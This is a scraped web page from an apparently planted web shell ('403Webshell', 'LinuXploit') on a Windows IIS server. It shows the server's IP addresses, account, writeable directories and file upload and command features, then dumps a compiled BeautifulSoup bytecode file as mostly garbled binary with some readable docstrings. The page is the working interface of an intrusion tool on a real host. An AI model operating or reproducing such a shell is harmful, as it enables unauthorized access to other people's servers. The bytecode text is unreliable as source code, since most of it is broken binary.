403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/bs4/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : C:/Python312/Lib/site-packages/bs4/__pycache__/formatter.cpython-312.pyc
�

V	�g�(���UddlmZddlmZmZmZmZmZmZm	Z	m
Z
ddlmZddl
mZe	rddlmZGd�de�ZGd�d	e�ZGd
�de�Zeej(��ej*d
<eej,dd��ej*d<eej(dd��ej*d<eej.��ej*d<ed��ej*d<eej(��ej*d
<eej.��ej*d<ed��ej*d<eegefZded<e
eefZy)�)�annotations)�Callable�Dict�Iterable�Optional�Set�Tuple�
TYPE_CHECKING�Union)�	TypeAlias)�EntitySubstitution)�_AttributeValuec��eZdZUdZdZded<dZded<eeddg��	�Z	d
ed<ded
<ded<ded<ded<ded<ded<								dd�Z
						d											dd�Zdd�Zd d�Z
				d!d�Zy)"�	FormatteraDescribes a strategy to use when outputting a parse tree to a string.

    Some parts of this strategy come from the distinction between
    HTML4, HTML5, and XML. Others are configurable by the user.

    Formatters are passed in as the `formatter` argument to methods
    like `bs4.element.Tag.encode`. Most people won't need to
    think about formatters, and most people who need to think about
    them can pass in one of these predefined strings as `formatter`
    rather than making a new Formatter object:

    For HTML documents:
     * 'html' - HTML entity substitution for generic HTML documents. (default)
     * 'html5' - HTML entity substitution for HTML5 documents, as
                 well as some optimizations in the way tags are rendered.
     * 'html5-4.12.0' - The version of the 'html5' formatter used prior to
                        Beautiful Soup 4.13.0.
     * 'minimal' - Only make the substitutions necessary to guarantee
                   valid HTML.
     * None - Do not perform any substitution. This will be faster
              but may result in invalid markup.

    For XML documents:
     * 'html' - Entity substitution for XHTML documents.
     * 'minimal' - Only make the substitutions necessary to guarantee
                   valid XML. (default)
     * None - Do not perform any substitution. This will be faster
              but may result in invalid markup.

    �html�str�HTML�xml�XML�script�style)�cdata_containing_tagszDict[str, Set[str]]�
HTML_DEFAULTS�
Optional[str]�language�%Optional[_EntitySubstitutionFunction]�entity_substitution�void_element_close_prefix�Set[str]r�indent�bool�empty_attributes_are_booleansc�Z�|�|S||jk(r
t�S|j|S)N)r�setr)�selfr�value�kwargs    �/C:\Python312\Lib\site-packages\bs4/formatter.py�_defaultzFormatter._defaultBs7�����L��t�x�x���5�L��!�!�%�(�(�Nc�2�|xs|j|_||_||_|j	|j|d�|_||_|�d}t|t�r|dkrd}d|z}||_
yt|t�r
|}||_
yd}||_
y)a�Constructor.

        :param language: This should be `Formatter.XML` if you are formatting
           XML markup and `Formatter.HTML` if you are formatting HTML markup.

        :param entity_substitution: A function to call to replace special
           characters with XML/HTML entities. For examples, see
           bs4.dammit.EntitySubstitution.substitute_html and substitute_xml.
        :param void_element_close_prefix: By default, void elements
           are represented as <tag/> (XML rules) rather than <tag>
           (HTML rules). To get <tag>, pass in the empty string.
        :param cdata_containing_tags: The set of tags that are defined
           as containing CDATA in this dialect. For example, in HTML,
           <script> and <style> tags are defined as containing CDATA,
           and their contents should not be formatted.
        :param empty_attributes_are_booleans: If this is set to true,
          then attributes whose values are sent to the empty string
          will be treated as `HTML boolean
          attributes<https://dev.w3.org/html5/spec-LC/common-microsyntaxes.html#boolean-attributes>`_. (Attributes
          whose value is None are always rendered this way.)
        :param indent: If indent is a non-negative integer or string,
            then the contents of elements will be indented
            appropriately when pretty-printing. An indent level of 0,
            negative, or "" will only insert newlines. Using a
            positive integer indent indents that many spaces per
            level. If indent is a string (such as "\t"), that string
            is used to indent each level. The default behavior is to
            indent one space per level.

        rNr� )rrrrr)rr"�
isinstance�intrr )r%rrrrr"r �
indent_strs        r(�__init__zFormatter.__init__Os���N!�-�D�I�I��
�#6�� �)B��&�%)�]�]��M�M�0�2I�&
��"�.K��*��>��F��f�c�"���z����v��J�
!���	���
$��J�!����J� ��r*c���|js|Sddlm}t||�r0|j�$|jj
|jvr|S|j|�S)a$Process a string that needs to undergo entity substitution.
        This may be a string encountered in an attribute value or as
        text.

        :param ns: A string.
        :return: The same string but with certain characters replaced by named
           or numeric entities.
        �)�NavigableString)r�elementr3r-�parent�namer)r%�nsr3s   r(�
substitutezFormatter.substitute�sY���'�'��I�,�
�r�?�+��	�	�%��	�	���$�"<�"<�<��I��'�'��+�+r*c�$�|j|�S)z�Process the value of an attribute.

        :param ns: A string.
        :return: A string with certain characters replaced by named
           or numeric entities.
        )r8)r%r&s  r(�attribute_valuezFormatter.attribute_value�s�����u�%�%r*c���|j�gSt|jj��}t�fd�|D��S)a�Reorder a tag's attributes however you want.

        By default, attributes are sorted alphabetically. This makes
        behavior consistent between Python 2 and Python 3, and preserves
        backwards compatibility with older versions of Beautiful Soup.

        If `empty_attributes_are_booleans` is True, then
        attributes whose values are set to the empty string will be
        treated as boolean attributes.
        c3�R�K�|]\}}|�jr|dk(rdn|f��� y�w)�N)r")�.0�k�vr%s   �r(�	<genexpr>z'Formatter.attributes.<locals>.<genexpr>�s2�����
���1���;�;��R���Q�P�
�s�$')�attrs�list�items�sorted)r%�tagrDs`  r(�
attributeszFormatter.attributes�sC����9�9���I�7;�C�I�I�O�O�<M�7N���
��
�
�	
r*)rrr&�Optional[Set[str]]r'r�returnr)NN�/NFr2)rrrrrrrrHr"r!r �Union[int, str])r7rrIr)r&rrIr)rFzbs4.element.TagrIz/Iterable[Tuple[str, Optional[_AttributeValue]]])�__name__�
__module__�__qualname__�__doc__r�__annotations__r�dictr$rr)r0r8r:rG�r*r(rr
s���@�D�#���C���*.�!�8�W�"5�6�*�M�&����>�>�"�"�#�#��K�$(�'�)��)�$6�)�?B�)�	�)�#'�EI�),�48�.3�!"�9!��9!�C�9!�$'�	9!�
 2�9!�(,�
9!��9!�v,�.&�
�"�
�	8�
r*rc�R��eZdZUdZiZded<					d									d�fd�
Z�xZS)�
HTMLFormatterzA generic Formatter for HTML.z"Dict[Optional[str], HTMLFormatter]�REGISTRYc�L��tt|�|j|||||��y�N)r )�superrTr0r�r%rrrr"r �	__class__s      �r(r0zHTMLFormatter.__init__�s/���	�m�T�+��I�I��%�!�)��
	,�	
r*�NrJNFr2�
rrrrrrHr"r!r rK�rLrMrNrOrUrPr0�
__classcell__�rZs@r(rTrT�s^���'�35�H�0�5�FJ�),�48�.3�!"�

�B�
�$'�
� 2�	
�
(,�
��

�
r*rTc�R��eZdZUdZiZded<					d									d�fd�
Z�xZS)�XMLFormatterzA generic Formatter for XML.z!Dict[Optional[str], XMLFormatter]rUc�L��tt|�|j|||||��yrW)rXrar0rrYs      �r(r0zXMLFormatter.__init__�s/���	�l�D�*��H�H��%�!�)��
	+�	
r*r[r\r]r_s@r(rara�s^���&�24�H�/�4�FJ�),�48�.3�!"�

�B�
�$'�
� 2�	
�
(,�
��

�
r*ra)rrr=T)rrr"�html5z
html5-4.12�minimalNr�_EntitySubstitutionFunction)�
__future__r�typingrrrrrr	r
r�typing_extensionsr�
bs4.dammitr
�bs4._typingrrrTra�substitute_htmlrU�substitute_html5�substitute_xmlrrerP�_FormatterOrNamerRr*r(�<module>rosf��"�W�W�W�'�)��+�t
�"�t
�n
�I�
�.
�9�
�0"/�*�:�:�"�
���v��#0�*�;�;� �"&�#�
���w��
(5�*�:�:� �"&�(�
���|�$�
%2�*�9�9�%�
���y�!� -��F�
���t�� ,�*�:�:�!����f��$0�*�9�9�$����i� �+�t�D����d��*2�3�%��*�)=��Y�=���C��(�r*

Youez - 2016 - github.com/yon3zu
LinuXploit